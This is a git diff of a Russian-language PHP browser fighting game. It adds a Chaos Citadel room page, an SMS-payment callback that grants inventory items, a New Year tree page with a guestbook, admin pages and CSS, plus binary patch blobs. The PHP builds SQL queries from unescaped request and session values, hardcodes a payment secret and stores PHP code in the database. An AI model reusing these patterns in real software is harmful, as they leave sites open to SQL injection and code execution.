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 Cml0)) header("Location: index.php"); + include "config.php"; + $dig_time=mysql_fetch_array(mysql_query("SELECT * FROM variables WHERE var='dig_timeout';")); + $user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '{$_SESSION['uid']}' LIMIT 1;")); + $inv=mysql_fetch_array(mysql_query("SELECT * FROM `inventory` WHERE `owner` = '{$user['id']}' AND (`prototype` = '727' OR `prototype` = '6') AND `dressed` = '1' LIMIT 1;")); + $inv_all=mysql_fetch_array(mysql_query("SELECT * FROM `inventory` WHERE `owner` = '{$user['id']}' AND (`prototype` = '727' OR `prototype` = '6') LIMIT 1;")); + include "functions.php"; + + /*if($user['id']==1258) + { + $all_bots=mysql_query("SELECT * FROM bots;"); + while ($the_bot=mysql_fetch_array($all_bots)) + { + $the_bot_battle=mysql_fetch_array(mysql_query("SELECT * FROM battle WHERE id='{$the_bot['battle']}' LIMIT 1;")); + if ($the_bot_battle['win']<3)//0,1,2 + {mysql_query("DELETE FROM bots WHERE id='{$the_bot['id']}' LIMIT 1;");} + } + }*/ + + + if ($user['room'] != 49) { header("Location: main.php"); die(); } + if ($user['battle'] != 0) { header('location: fbattle.php'); die(); } + //проверяем ЦХ + if ($user['level']>=8 && $user['doblest']>=50) + $can_go_ch=1; + else + $can_go_ch=0; + //заходим в ЦХ + if ($_POST['c_haos']) + + { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '48',`online`.`room` = '48' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: main.php'); + } + + + /*$in_dig = mysql_fetch_array(mysql_query("SELECT * FROM `digger` WHERE `id` = '{$user['id']}' LIMIT 1;")); + //вносимся в табличку + if(!$in_dig) + { + mysql_query("INSERT INTO digger(id) values('{$user['id']}');"); + $in_dig=mysql_fetch_array(mysql_query("SELECT * FROM `digger` WHERE `id` = '{$user['id']}' LIMIT 1;")); + } + + if($inv['id']==0) + {$delay=600;}//def 600 + else {$delay=300;};//def 300 + + if($inv['id']==0) + {$rest=3600;}//def 3600 + else {$rest=1800;};//def 1800 + + $guard_delay=3600;//def 3600 +$tm=time();*/ + +?> + + + + + + + + + + + + + + + + + +

    Проход к Цитадели Хаоса

    + +
    + + + + +
    + +
    +Ярко алое зарево рассвета осветило нескончаемую горную гряду на востоке. По узкому проходу прямиком меж двух скал уверенной статной рысью двигался всадник. На его широкой спине, поддавшись первым порывам нарастающего ветра, развивался белый плащ с кроваво-красным подбоем. Вместе с золотой сбруей его белоснежного коня, это создавало образ богатого и знатного человека. Его путь вёл в одну из самых загадочных и таинственных крепостей известного мира. Цитадель Хаоса была найдена группой отчаянных авантюристов еще два века назад, но все, кто отправлялся туда, исчезали бесследно. Чтобы достигнуть врат крепости следовало найти вход в скрытое ущелье, что был виден лишь на рассвете.

    +Вот и наш герой был храбр, но двигали им весьма низменные людские пороки. Он слышал, что в Цитадели можно отыскать меч, дарующий победу над любым превосходящим по силе соперником. Ради этой дивной вещицы всадник был в пути уже несколько дней. +Время было выбрано удачно, первые лучи солнца открыли спрятанный путь. Проехав несколько сот метров по ущелью, перед путником открылась его вожделенная цель. Массивные крепостные стены и башни Цитадели, как будто вырезанные в скале, поражали своими необъятными размерами. Теперь, когда до места назначения оставалось совсем ничего, всадник перешел на галоп. Добравшись до огромных ворот крепости, он спешился и неторопливо вытянул меч из ножен. Подойдя вплотную к маленькой дверце в одной из створок, он громко постучал в неё. Тщетно выждав ответа пару минут, он толкнул дверь. С противным скрипом, та неохотно поддалась. В образовавшейся черноте прохода угадывались очертания уходящей вниз винтовой лестницы. Взяв, со стены промасленный факел, путник чиркнул огнивом и начал спускаться вниз. Тени странными отсветами играли на каменных стенах, сплетаясь в невиданные фигуры, словно души умерших следовали за героем по пятам. +Через несколько минут спуск кончился и он увидел перед собой еще одну маленькую дверь. Путник убрал меч в ножны и свободной рукой отворил её. Из темноты залы, что открылась ему, раздался громкий рёв, заставивший странника попятиться назад. Он споткнулся об одну из ступенек и выронил факел, который упал в воду и предательски потух. В кромешной темноте рёв раздался уже ближе. На ощупь, вытянув меч и выставив его вперёд, путник приготовился к смерти и бросился в темноту…

    +Много месяцев спустя, после исчезновения королевского сына в деревнях видели седого старика с обезумевшими глазами, что постоянно кричал что-то о страшной крепости и обитавших там ужасных чудовищах. Но люди не верили выжившему из ума старцу. Молва о крепости разлеталась по городам и весям. Каждый герой хотел проверить себя и покорить Цитадель. Тем временем во дворце готовились к новому походу. Быть может, перед их чистыми помыслами и открытыми сердцами Цитадель Хаоса снимет завесу тайны?

    +© Форбонт

    '; +echo ' '; +} + +else +echo '
    Только ветераны, доказавшие свою доблесть, могут идти в бой в логово врага!'; +echo' +
    +
    + +
    +
  • '; + + + ?> + + \ No newline at end of file diff --git a/edit_koefs.php b/edit_koefs.php new file mode 100644 index 0000000..f3967c1 --- /dev/null +++ b/edit_koefs.php @@ -0,0 +1,45 @@ + $v) { + fwrite($f,'$'."mods['".$k."']=".$v.";\n"); + } + fwrite($f,"?>\n"); + fclose($f); + } + $mods1['perv']="Первак"; + $mods1['kulon']="Кулон"; + $mods1['haos']="Хаос"; + $mods1['alignprot']="Противостояние склонностей"; + $mods1['kulakpenalty']="Нет пушки РЅР° СѓСЂРѕРІРЅРµ больше 1РіРѕ"; + $mods1['bloodb']="Кровавый"; + $mods1['btl_1']="Первый Р±РѕР№ СЃ противником"; + $mods1['btl_2']="Второй Р±РѕР№ СЃ РЅРёРј же"; + $mods1['btl_3']="Больше РґРІСѓС… боёв"; + + $mods1['krov_oop']="------"; + + $mods1['krov_bitv']="Кровавая битва (соперников)"; + $mods1['krov_op']="Опыт"; + $mods1['krov_rez']="Кровавая резня (соперников)"; + $mods1['krovr_op']="Опыт"; + $mods1['krov_sech']="Кровавая сеча (соперников)"; + $mods1['krovs_op']="Опыт"; + + $mods1['velikaya']="Великая битва (соперников)"; + $mods1['vel_op']="Опыт"; + $mods1['velichayshaya']="Величайшая битва (соперников)"; + $mods1['velich_op']="Опыт"; + $mods1['epohalnaya']="Эпохальная битва (соперников)"; + $mods1['epoh_op']="Опыт"; + + include('exp_koef.php'); + echo "
    "; + foreach ($mods as $k => $v) { + echo "
    ".$mods1[$k]."
    "; + } + echo "
    "; + } +?> \ No newline at end of file diff --git a/edited.php b/edited.php new file mode 100644 index 0000000..ec21c28 --- /dev/null +++ b/edited.php @@ -0,0 +1,51 @@ + + + + + + + + + + +
    +
    + ФАЙЛ + ТЕМА + КОММЕНТАРИЙ + +
    + + +

    Правки файлов.

    + + + + "; + } + ?> +
    #IDдатаИзмененный файл темакомментарийкто менял
    ",$row['id'],"",$row['date'],"",$row['file'],"",$row['topic'],"",$row['text'],""; + nick2($row['who']); + echo "
    + + diff --git a/ekr.php b/ekr.php new file mode 100644 index 0000000..1da9db5 --- /dev/null +++ b/ekr.php @@ -0,0 +1,64 @@ + $request_value) { + $_REQUEST[$request_key] = substr(strip_tags(trim($request_value)), 0, 250); + } + + // service secret code + // секретный код сервиса + $secret_code = "cnfhsqrke,"; + + // collecting required data + // собираем необходимые данные + $purse = $_REQUEST["s_purse"]; // sms:bank id идентификатор смс:банка + $order_id = $_REQUEST["s_order_id"]; // operation id идентификатор операции + $amount = $_REQUEST["s_amount"]; // transaction sum сумма транзакции + $clear_amount = $_REQUEST["s_clear_amount"]; // billing algorithm алгоритм подсчета стоимости + $inv = $_REQUEST["s_inv"]; // operation number номер операции + $phone = $_REQUEST["s_phone"]; // phone number номер телефона + $sign = $_REQUEST["s_sign_v2"]; // signature подпись + + // making the reference signature + // создаем эталонную подпись + $reference = ref_sign($secret_code, $purse, $order_id, $amount, $clear_amount, $inv, $phone); + + // validating the signature + // проверяем, верна ли подпись + if($sign == $reference) { + // success, proceeding + // обрабатываем полученные данные + $thing = substr($order_id,0,3); + $owner = substr($order_id,3,strlen($order_id)-3); + switch ($thing) { + case "101": + mysql_query("INSERT INTO `inventory` (`owner`,`name`, `type`,`maxdur`,`img`) values ('{$owner}','Раритетная открытка', 200, 1,'card03.gif');"); + break; + case "102": + mysql_query("INSERT INTO `inventory` (`owner`,`name`, `type`,`maxdur`,`minu`,`maxu`,`img`) values ('{$owner}','Ель', 3, 1,1,3,'el1.gif');"); + break; + case "103": + mysql_query("INSERT INTO `inventory` (`owner`,`name`, `type`,`maxdur`,`minu`,`maxu`,`img`) values ('{$owner}','Ель с игрушками', 3, 1,1,5,'elka_w2.gif');"); + break; + case "104": + mysql_query("INSERT INTO `inventory` (`owner`,`name`, `type`,`maxdur`,`img`) values ('{$owner}','Сувенир <Сфера БК>', 200, 1,'shar6.gif');"); + break; + case "105": + mysql_query("INSERT INTO `inventory` (`owner`,`name`, `type`,`maxdur`,`img`,`goden`,`dategoden`,`magic`) values ('{$owner}','Бутерброд "Новогодний"', 50, 5,'food_l8.gif','15','".(time()+1296000)."',8);"); + break; + } + } +// else { + // failure, reporting error + // неправильно составлен запрос + //} +?> diff --git a/elka.php b/elka.php new file mode 100644 index 0000000..ca66a83 --- /dev/null +++ b/elka.php @@ -0,0 +1,303 @@ + + + + + + + + + + + + + +

    Новогодняя елка 2017!

    +
    + +Операция была отменена.'; + } + if ($_GET['suk']) { + echo 'Заказ скоро появится у вас в инвентаре... Спасибо за покупку!'; + } + + if ($_POST['fail']) { + echo 'Операция была отменена.'; + } + if ($_GET['givepodarok'] && !$user['podarokAD']) { + echo 'До нового года осталось ',(31-(int)date("d")),' дней, поздравляю!...'; + mysql_query("INSERT INTO `inventory` (`owner`,`img`,`maxdur`,`type`,`magic`,`present`,`name`) VALUES ('".$user['id']."','podarokNY.gif','1','50','7','Новый Год','Новогодний подарок');"); + $idd = mysql_insert_id(); + mysql_query("INSERT INTO `paket` VALUES(".$idd.", '$"."vv = rand(0,4);\r\nswitch($"."vv) {\r\n case 0 :\r\n return \"INSERT INTO `inventory` (`owner`,`maxdur`,`name`,`img`,`cost`,`dategoden`,`type`,`goden`, `magic`) values (''\".$"."user[''id''].\"'',''1'',''Макет Меча Кромуса'',''asword41.gif'',''0'',''\".(time()+1296000).\"'',''3'',''15'',0),(''\".$"."user[''id''].\"'',''5'',''Бутерброд "Новогодний"'',''food_l8.gif'',''0'',''\".(time()+1296000).\"'',''50'',''15'',8)\";\r\n break;\r\n case 1 :\r\n return \"INSERT INTO `inventory` (`owner`,`maxdur`,`name`,`img`,`cost`,`dategoden`,`type`,`goden`, `magic`) values (''\".$"."user[''id''].\"'',''1'',''Макет Шита Ангела'',''ashield3.gif'',''0'',''\".(time()+1296000).\"'',''10'',''15'',0),(''\".$"."user[''id''].\"'',''5'',''Бутерброд "Новогодний"'',''food_l8.gif'',''0'',''\".(time()+1296000).\"'',''50'',''15'',8)\";\r\n break;\r\n case 2 :\r\n return \"INSERT INTO `inventory` (`owner`,`maxdur`,`name`,`img`,`cost`,`dategoden`,`type`,`goden`, `magic`) values (''\".$"."user[''id''].\"'',''1'',''Макет Меча Героев'',''asword31.gif'',''0'',''\".(time()+1296000).\"'',''3'',''15'',0),(''\".$"."user[''id''].\"'',''5'',''Бутерброд "Новогодний"'',''food_l8.gif'',''0'',''\".(time()+1296000).\"'',''50'',''15'',8)\";\r\n break;\r\n case 3 :\r\n return \"INSERT INTO `inventory` (`owner`,`maxdur`,`name`,`img`,`cost`,`dategoden`,`type`,`goden`, `magic`) values (''\".$"."user[''id''].\"'',''1'',''Макет Брони Титанов'',''aarmor1.gif'',''0'',''\".(time()+1296000).\"'',''4'',''15'',0),(''\".$"."user[''id''].\"'',''5'',''Бутерброд "Новогодний"'',''food_l8.gif'',''0'',''\".(time()+1296000).\"'',''50'',''15'',8)\";\r\n break;\r\n}', '');"); + echo mysql_error(); + mysql_query("UPDATE `users` SET `podarokAD` = 1 WHERE `id` = '{$_SESSION['uid']}' LIMIT 1;"); + } + if ($_POST['comment']) { + mysql_query('INSERT INTO `elka` (`who`,`date`,`text`) values (\''.nick3 ($user['id']).'\',\''.date("d.m.Y H:i").'\',\''.strip_tags($_POST['comment']).'\');'); + } + + + $data = mysql_query("SELECT * FROM `elka` ORDER by `id` DESC LIMIT ".($_GET['page']*20).",20;"); +?> + + + + +
        +

    Предметы

    + ";} else {print "";} ?> +
        + + +
    +

    Сделайте подарки друзьям и близким ;)

    + + Раритетная открытка + Ель + Ель с игрушками + Сувенир <Сфера БК> + Бутерброд <Новогодний> +
    +
    + +
    +Посетители оставили надписи на стволе елки: ',($i+1),' '; + } +?>
    + +',$row['date'],' ',$row['who'],' - ',$row['text'],'
    '; + } +// 21.12.2009 05:02 +?> +
    +Оставить сообщение: + +
    + +
    + + + diff --git a/encicl/css/style.css b/encicl/css/style.css new file mode 100644 index 0000000..0e779a4 --- /dev/null +++ b/encicl/css/style.css @@ -0,0 +1,47 @@ +BODY { + BACKGROUND-COLOR: #636562; MARGIN: 0px; + FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif; + font-size:12px; +} +A:link { + COLOR: #5b3e33; FONT-WEIGHT: bold; TEXT-DECORATION: none +} +A:visited { + COLOR: #633525; FONT-WEIGHT: bold; TEXT-DECORATION: none +} +A:active { + COLOR: #77684d; FONT-WEIGHT: bold; TEXT-DECORATION: none +} +A:hover { + COLOR: #000000; TEXT-DECORATION: underline +} +.style6 { + COLOR: #000000 +} + +li { +color:#000000; +text-decoration:none; +/*font-family:Georgia, "Times New Roman", Times, serif;*/ +FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif; +font-size:12px; +} + +ul { +color:#000000; +text-decoration:none; +/*font-family:Georgia, "Times New Roman", Times, serif;*/ +FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif; +font-size:12px; +} + +.head { +color:#660000; +font-size:18px; +font-family:Verdana, Arial, Helvetica, sans-serif; +} + +.content { +font-family:Verdana, Arial, Helvetica, sans-serif; +font-size:13px; +} \ No newline at end of file diff --git a/encicl/css/styles.css b/encicl/css/styles.css new file mode 100644 index 0000000..8b2c095 --- /dev/null +++ b/encicl/css/styles.css @@ -0,0 +1,128 @@ +* {padding:0; margin:0; list-style:none} + +html, body {min-height:100%; color:#251c13; font:normal 12px Tahoma, Geneva, sans-serif; background: url(../images/site_bg.gif) repeat-x 0 61px #606260} + +a img {border:0} + +img {overflow:hidden} +a {color:#482b00; } +a:hover {text-decoration:none;} + +h1 {font-size:18px; padding-bottom:15px;} +h2 {font-size:16px; padding-bottom:10px;} +p {padding-bottom:10px;} + +#nPage {width:878px; margin:auto; background: url(../images/header_bg.jpg) no-repeat} + +#header {padding-left:30px} +#header .slogan {text-align:center; padding:20px 0} +#header #logo {height:130px; width:165px; display:block; margin:auto} + +.main { background:url(../images/paper_bg.jpg) repeat-y; } +.main .content {padding:0 40px 50px; background:url(../images/pager_btm.gif) no-repeat 0 100%; position:relative; bottom:-10px} + +.pagination {padding:20px 0; color:#a06d41} +.pagination a {font-weight:bold; text-decoration:none; margin:0 1px} +.pagination a.actived {color:#a06d41} +.pagination a:hover, .news .item .comm a:hover {text-decoration:underline} + +.news { background:url(../images/hr.gif) no-repeat;} +.news .item {padding:20px 0 25px; background:url(../images/hr.gif) 0 100% no-repeat; } +.news .item h3 {float:left; width:600px} +.news .item .date {float:right; width:120px; text-align:right; padding-top:3px; color:#a06d41; font-weight:bold} +.news .item .news_text {clear:both; padding:10px 0} +.news .item .comm {float:right; color:#a06d41} +.news .item .comm a {text-decoration:none; font-weight:bold} + +.leftMenu {width:215px; float:left; padding-right:40px} +.leftMenu ul {border-right:solid 1px #deceaf; padding:0 20px 5px 0; font-weight:bold} +.leftMenu ul h4 {color:#8b4304; padding:5px 0} +.leftMenu ul a {text-decoration:none} +.leftMenu ul a:hover {text-decoration:underline} +.leftMenu ul li {background:url(../images/left_li.gif) 0 5px no-repeat; padding:0 0 5px 9px} +.leftMenu ul ul {border-right:0; padding:0} +.leftMenu ul li a {color:#251c13} +.leftMenu ul li li {background:url(../images/left_li2.gif) 0 6px no-repeat; padding:2px 0 0 9px} +.leftMenu ul li li a {color:#4d3b29} + +.mainBlock {float:left; width:543px; background:url(../images/hr.gif) 0 100% no-repeat; padding-bottom:25px} +.mainBlock ul li {background:url(../images/left_li2.gif) 0 6px no-repeat; padding:2px 0 0 9px} +.mainBlock ul li a {text-decoration:none} +.mainBlock ul li a:hover {text-decoration:underline} + +.mainBlock .breadcrumbs {background:url(../images/hr.gif) 0 100% no-repeat; height:50px; margin-bottom:20px } +.mainBlock .breadcrumbs li {float:left; padding:0 5px 0 0; background:none } +.mainBlock .breadcrumbs li a {margin-right:5px; text-decoration:underline} +.mainBlock .breadcrumbs li a:hover {text-decoration:none} +.mainBlock .breadcrumbs li span {font-weight:bold; color:#a06d41} + +.mainBlock dl {padding:15px 5px 15px; background:url(../images/hr.gif) 0 100% no-repeat;} +.mainBlock dl dd {float:left; width:85px} +.mainBlock dl dt {padding-left:85px;} +.mainBlock dl dt .title {font-size:14px; font-weight:bold; padding-bottom:5px} +.mainBlock dl dt .title a {color:#251c13; text-decoration:none} +.mainBlock dl dt .title a:hover {text-decoration:underline} +.mainBlock dl dt .title span {font-size:12px; font-weight:normal} +.mainBlock dl dt p {padding-bottom:4px} +.mainBlock dl dt strong {color:#a06d41} +.mainBlock dl dt ul {padding-bottom:10px} +.mainBlock dl dt ul li {list-style:disc; margin-left:15px; padding:0; background:none} + + +.clear, .wrap {clear:both} +.right {float:right} +.left {float:left} + +#footer +{ + height: 31px; + width:370px; + margin: 15px auto 0 auto; + color:#a5a4a4; + font-family:Times New Roman; + font-size:12px; +} +#bottom_line +{ + color:#808080; + font-family:Verdana; + font-size:12px; + font-weight:normal; + margin: 0px auto 0 auto; + text-align:center; + width:800px; +} + +#footer a +{ + padding:0; +} +#nav +{ + border: 1px solid #585857; + background: #666866; + width:858px; + height:27px; + margin: 15px auto; + text-align:center; + line-height: 23px; + + font-family:Verdana; + background: url(../images/ptr_bg.gif) repeat-x top center #606260; + background-position: 0 100px; + font-family:Tahoma; + font-size: 12px; + font-weight:bold; +} + + +#nav a +{ + color: #fefefe; + padding:0 20px; +} +#nav a:hover +{ + text-decoration:none; +} + diff --git a/encicl/encicl.zip b/encicl/encicl.zip new file mode 100644 index 0000000000000000000000000000000000000000..bd431f6e827c2757bba7ab9f9c34c1a0354a4a85 GIT binary patch literal 572632 zcmaI8WmH_-wlzu!?i$=(g1ZEFcPBt_*Wm8%?(Xg$DBRuM-Ce?~>~rq@&OUdyw|-Pn z)n;2iiay5Zv-duiywqnf7?3}gzz;F;zyA353pDWE!RUvhnT<6Iz5M?!E0nbp`_E-4 z|GDhn>)HNe{r}HxS^rvw2D||j$by}iIKN{gO$R6l2q^>z$e(ZjeK%HmeJdwRBS%I$ zM;FJ!xJjE?2DHJ;#23C4TyiAywTiQv322mc(ijNo5-5(g&}3nUcv`!Ki|!w$6#U{o zeVnII)Z=mY!C=8M)Uq>9I%)%?9-;5|hn>lnw?fVf*^4JOO>90rX=s+69u3b05CJFw z)zqv|i>Ies_q#8%GK8Th0XUOjgqRVWDo|RLNlRrRP33?W*dHI|> zbG=0pY1PcQh7MwAkfP9(VM+yrHZcWute{SigkP)i3TyB4cqA#`?ZeU*5Nx3n!K2TW zcCZ2%J~8N8C<@;5e8Qw#P6F==QYPr#sBg>C%NyFUn*OF zk;Q{gj$HNH#DxiiP@3FCqQSN#b);WKVh5-C`n1k!b3>VtmSL4Z#vGa2id9ZmK)RWDt`L^d+7`6Ajf@7OstyFR_I90nQ4 zs(cY#X3Q)RdW-?#99Xpxx3(PahV@_os;dAKINpp~-21XutjZk7#H5gZ4nh zKWNA7lsoyj+6I6HA84_i|3Ult|DZi8S>4I&FSLI)qX^)z$M?@OFH~ukuuTP%ovEwJ z44{8_eD=IN=1u=*+G*LeiFYQDBLogvoqfh<0a{AZwQNq@wDQ&Ewc*`^z;aY{&0W9; zOp^k>Pq*6SzNv!azV;pFwZFv*e`eIaQqq;)Rk?C^^LVAXgz^~Le<`PhBq#3 z*(wMO6ZzmrzUo21cK{z+xs<;m(}^H;f)JBup70l_TxipL*7z+AQ9|+lT%j>!ngo@f zLfaAtNJVqfC{n0;s#fr(RX#LHShtyTcdlu{nH5(s&7(){3FA*DSkGTfLg%FIO66$z zRCS9j3OU0PcC z)_Rs2s>3)CMBf6)nItEhz}FDGOHIO6Gm&2;_q6=#>7UC>SqtXKjOdb?fb1TOA1%i* z{RLrdgC@TsVTb;`10dMB2a{}>D*EXI_V4K0^3Ic60ir7i*h|s>Z!cwH_ye!V_)Cjf ze$2s5j2FI)Pa;_3ta#vyI>bxxXhjI6CDnUrYcn+#ab(Gjub0XXf{swsPi^I*bxxsH zC(#%P2V}=yMun%H!~3n1x2Nutxi~a(Cy~jgmw0kdpF38`*Rz&@;WC{# zY843(2IxLG(a;<6B?2&oGlB zsH?AJe%Sy@gclD(KXtI(OWrEzM@`zzj7gid$6&@}t&Hsi45r5py$eq}0G2N88|2@M zAt0JDuM$`cUf}=OYMKAkLZ+gO%`87sr`U)$rbh`sK-pz zGUw2{tj{bszrhXMG5qP%e%VE0LVpr7muKbJYII?avviAk5m8HX#-VLo^T0T{l)G7_)&$u((Rz=)1bq%sfuB8hr%ML|Sa z;uh~E<>d7P4AV!{^`SrQXn*vS^jjNNZ&vrv8qxVfVZgG#V8Jn|1vWXPEwzWddzFWh1Us45mTyvLCw3lMgO3*7%|e2ac=VnReZ&qHnl=XMY;ngV zk7fAEbNrA`&GXibWzqySUJ(nW-CMoW-%Id!cwg8hMUn#HefG~xg5_^aV B1SW5T 